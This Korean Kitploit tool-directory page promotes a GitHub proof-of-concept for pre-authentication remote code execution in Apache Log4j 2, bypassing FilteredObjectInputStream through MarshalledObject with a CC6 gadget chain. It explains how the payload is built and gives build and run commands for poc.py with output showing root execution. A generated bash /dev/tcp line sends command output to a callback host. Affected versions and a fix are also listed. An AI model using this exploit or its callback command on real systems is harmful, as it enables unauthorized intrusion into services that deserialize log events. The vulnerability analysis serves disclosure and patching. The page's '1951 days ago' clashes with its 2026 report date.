Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-rce — Apache Log4j 2의 FilteredObjectInputStream MarshalledObject 우회를 통한 사전 인증 RCE | Kitploit
도구/GitHubGitHub/hypnguyen1209/log4j2-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Apache Log4j 2의 FilteredObjectInputStream MarshalledObject 우회를 통한 사전 인증 RCE

저장소 보기
1951일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4j FilteredObjectInputStream 우회

인증 없이 Log4j의 FilteredObjectInputStream을 통해 LogEvent를 역직렬화하는 모든 Java 서비스에서 RCE를 실행합니다. 자격 증명이 필요 없습니다.

2026년 8월 24일 GitHub 이슈 #4255로 보고되었습니다.

동작 방식

Log4j는 안전한 역직렬화 래퍼로 FilteredObjectInputStream(FOIS)을 제공합니다. 이 클래스는 resolveClass()를 허용 목록(allowlist)으로 재정의하여 org.apache.logging.log4j.*, java.lang.*, java.util.* 및 몇 가지 명시적 클래스만 통과할 수 있게 합니다.

명시적 클래스 중 하나가 java.rmi.MarshalledObject입니다:

root@kitploit:~
// SerializationUtil.java:81 public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList( "java.math.BigDecimal", "java.math.BigInteger", "java.rmi.MarshalledObject", // <-- 문제의 클래스 ...);

MarshalledObject.get()은 내부적으로 새로운 일반 ObjectInputStream 을 생성합니다. 필터가 없습니다. MarshalledObject 안에 감싸진 모든 것은 제한 없이 역직렬화되어 허용 목록을 완전히 우회합니다.

Log4j 자체가 이 래핑을 수행합니다. 모든 LogEvent의 직렬화 프록시인 LogEventProxy는 이벤트 메시지를 MarshalledObject<Message> 필드에 저장합니다. 역직렬화 시 marshalledMessage.get()을 호출하여 메시지를 복구합니다. 이 호출이 필터 없는 스트림을 생성합니다. 게임 끝입니다.

FOIS 우회 방법

필터는 스트림의 최상위 클래스 설명자만 확인합니다:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS는 LogEventProxy(log4j 패키지, 허용됨), MarshalledObject(허용 목록에 있음), byte[](기본형)를 확인합니다. 모두 통과합니다. CC6 가젯 체인은 MarshalledObject.objBytes 안에 원시 바이트로 숨겨져 있습니다. FOIS는 이를 볼 수 없습니다.

LogEventProxy.readResolve()가 실행될 때:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // 필터 없는 ObjectInputStream
        } catch (final Exception ex) {
            // 무시
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get()은 일반 ObjectInputStream을 생성하고, CC6 체인이 트리거되어 명령이 실행됩니다. 가젯 결과가 Message가 아닐 때 발생하는 ClassCastException은 catch 블록이 삼키므로 서버는 정상적으로 응답합니다. 오류도, 로그 항목도 없습니다.

비교를 위해, ObjectMessage는 올바르게 처리합니다:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // 필터링된 내부 스트림 생성
}

LogEventProxy는 동일한 패턴을 사용해야 하지만 그렇게 하지 않습니다.

공격 작동 방식

root@kitploit:~
공격자                                   대상 (FOIS 기반 수신기)
   |                                              |
   |  HTTP POST /log                              |
   |  본문: 직렬화된 LogEventProxy                |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j 패키지
   |                   ├── resolveClass(MarshalledObject)  ✓ 허용 목록
   |                   └── resolveClass(byte[])            ✓ 기본형
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   필터 없음
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

서버는 200으로 응답하고 아무 일도 없었던 것처럼 이벤트를 처리합니다.

페이로드 구성

핵심은 CC6 체인을 조기 트리거 없이 MarshalledObject.objBytes 안에 넣는 것입니다.

GadgetMessage는 Message를 구현하고 writeReplace()를 재정의하여 CC6 가젯을 반환합니다:

  1. GadgetMessage를 메시지로 사용하는 Log4jLogEvent를 생성합니다.
  2. 직렬화합니다. LogEventProxy.writeObject()가 marshall(message)를 호출하여 GadgetMessage를 MarshalledObject 생성자에 전달합니다.
  3. 생성자가 GadgetMessage를 직렬화합니다. writeReplace()가 실행되어 CC6 HashSet으로 대체됩니다.
  4. 이제 MarshalledObject.objBytes에 CC6 체인이 포함됩니다. GadgetMessage는 네트워크에 나타나지 않습니다.

GadgetMessage는 공격자 측 전용입니다. 대상 클래스패스에 있을 필요가 없습니다.

영향을 받는 버전

구성 요소취약 버전
log4j-api (FilteredObjectInputStream)2.11.0 ~ 2.24.3
log4j-core (LogEventProxy MarshalledObject 필드)2.8.0 ~ 2.24.3

대상에는 클래스패스에 가젯 라이브러리도 필요합니다. 이 PoC는 Commons Collections 3.2.1(CC6 체인)을 사용합니다.

실행 방법

요구 사항: Java 11+, Maven, Python 3.10+, Docker(피해자 랩 전용)

피해자 빌드 및 시작:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

익스플로잇 빌드(또는 poc.py가 첫 실행 시 자동 빌드):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

실행:

root@kitploit:~
# --lhost는 대상에서 접근 가능한 IP
# 동일 호스트의 Docker 랩인 경우 docker0 브리지 IP 사용
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

출력:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

사용자 지정 콜백 포트:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

poc.py 작동 방식

  1. 첫 실행 시 exploit/에서 mvn package를 호출하여 PayloadGenerator를 컴파일하고 의존성을 가져옵니다. 이후 실행에서는 건너뜁니다.
  2. 호스트에서 java -cp exploit/target/... PayloadGenerator <cmd>를 실행합니다. MarshalledObject 안에 CC6이 포함된 base64 직렬화 LogEvent를 출력합니다.
  3. --lport(기본값 9999)에 TCP 리스너를 열어 명령 출력을 수신합니다.
  4. 원시 바이트를 HTTP POST로 대상 /log 엔드포인트에 전송합니다.
  5. 페이로드가 대상에서 명령을 실행하고 bash /dev/tcp를 통해 출력을 리스너로 다시 전송합니다.

파일 구조

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # 익스플로잇 스크립트
├── exploit/                        # 공격자 (호스트에서 실행)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # writeReplace()가 있는 Message
└── lab/                            # 피해자 (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # FOIS를 사용하는 HTTP 엔드포인트

lab/ 은 피해자입니다. HttpLogReceiver는 FilteredObjectInputStream을 사용하는 HTTP 로그 수신기입니다. 기본 구성, 디버그 플래그 없음, 인위적 약점 없음. Commons Collections는 현실적인 전이 의존성으로 클래스패스에 있습니다.

exploit/ 은 공격자 도구입니다. PayloadGenerator는 호스트에서 직렬화된 페이로드를 빌드합니다. 피해자 컨테이너에는 절대 접촉하지 않습니다.

수정 방법

  1. REQUIRED_JAVA_CLASSES에서 java.rmi.MarshalledObject를 제거합니다.
  2. LogEventProxy의 MarshalledObject<Message> 필드를 SerializationUtil.writeWrappedObject() / readWrappedObject()로 직렬화된 byte[]로 교체합니다. 이는 ObjectMessage가 이미 올바르게 사용하는 패턴입니다.

Commons Collections 버전

CC 3.2.1 이하: InvokerTransformer가 자유롭게 직렬화됩니다. CC6이 그대로 작동합니다.

CC 3.2.2(2015년 11월): InvokerTransformer에 직렬화 가드가 추가되어 org.apache.commons.collections.enableUnsafeSerialization이 true가 아니면 체인이 차단됩니다.

필터 우회는 CC 버전과 무관하게 존재합니다. CC의 가드는 가젯 계층의 심층 방어일 뿐, 손상된 필터에 대한 수정이 아닙니다. 가드가 없는 다른 가젯 라이브러리(Groovy, BeanShell, Spring Beans 등)도 동일한 공격을 가능하게 합니다.

정리

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

법적 고지

승인된 테스트 전용입니다. 소유하지 않은 시스템에 대해 실행하기 전에 서면 허가를 받으십시오.

도구 다운로드